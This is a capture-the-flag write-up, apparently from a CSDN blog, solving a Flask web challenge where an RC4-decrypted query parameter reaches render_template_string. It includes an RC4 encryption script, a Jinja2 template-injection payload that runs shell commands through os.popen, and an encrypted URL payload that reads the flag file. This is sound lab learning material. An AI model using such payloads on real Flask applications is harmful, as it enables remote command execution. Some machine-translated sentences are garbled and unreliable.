NSS [NISACTF 2022]is secret

NSS [NISACTF 2022]is secret

The original title is [CISCN2019_华东南赛区]Double_Secret

The topic is blinded.

image-20230921224946351

I guessed it was /secretrouting, and I was right.

image-20230921225015022

GET submission parameters ?secret=1, this should be an injection point.

image-20230921225046945

I took a look and found that the back-end language is python2. I wasn’t sure what kind of vulnerability it was. I tested everything I could think of. Finally, when I tested SSTI, I got an error networkwhen passing parameters .?secret={ {7*7}}

image-20230921225249921

This paragraph caught my attention.

image-20230921225320339

The general meaning is that secretafter we GET submit the parameters, they are rc4decrypted, the decryption key is render_template_string, and then rendered into the template. render_template_stringIt is the most common template rendering function, which can easily cause SSTI of flask. The waf here is safe()a function.

When using cyberchef for RC4 decryption, URLencode must be set to encode all special chars, otherwise some commands will report an error or be empty.

Therefore, the payload we pass must be rc4 encrypted if we want to cause SSTI.

I found an RC4 encryption script online. The key is render_template_string, and the error message gives:

import base64
from urllib import parse
def rc4_main(key = "init_key", message = "init_message"):
    # print("RC4加密主函数")
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt
def rc4_init_sbox(key):
    s_box = list(range(256))  # 我这里没管秘钥小于256的情况,小于256不断重复填充即可
    # print("原来的 s 盒:%s" % s_box)
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    # print("混乱后的 s 盒:%s"% s_box)
    return s_box
def rc4_excrypt(plain, box):
    # print("调用加密程序成功。")
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    # print("res用于加密字符串,加密后是:%res" %res)
    cipher = "".join(res)
    #print("加密后的字符串是:\n%s" %cipher)
    enc_url = parse.quote(cipher)
    print("加密后的url编码:\n" + enc_url)
    #print("加密后的输出(经过base64编码):")
    #print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

rc4_main("HereIsTreasure",'''{
    
    {config.__class__.__init__.__globals__['os'].popen('【要执行的命令】').read()}}''')

The flag is in the file in the root directory flag.txt.

image-20230921230605443

payload:

/secret?secret=.%14ZZ%C2%A4%01%02i%25%C2%A2%C3%A7%10%C2%B2%C2%B3%C3%A5%C2%BB%0B%C2%AC%1A%0B%C2%88%5B%C3%AE%7B%1E%C2%AE%07%C3%87m%C3%B35%C3%AB%22%C2%89L%C3%9A%1B%C3%8E%17%C3%9F%3C%C3%95%C2%9E%C2%A5P%40%C2%AD%15%C2%B5%C2%B8H%24%25%C3%BF%2Bo%C3%97pN%C3%88%C2%B8M_%C3%A1%C2%8C%0D%C3%BD%00tV2%C3%A8K%C2%93p%C3%BDa

image-20230921230637791


RC4 is a symmetric encryption algorithm, so the original plaintext can be obtained by re-encrypting the ciphertext.

I tried it with the script and it was indeed the case. 1Encrypt once is yes d, encrypt twice is yes 1.

image-20230921232857224

Guess you like

Origin blog.csdn.net/Jayjay___/article/details/133151911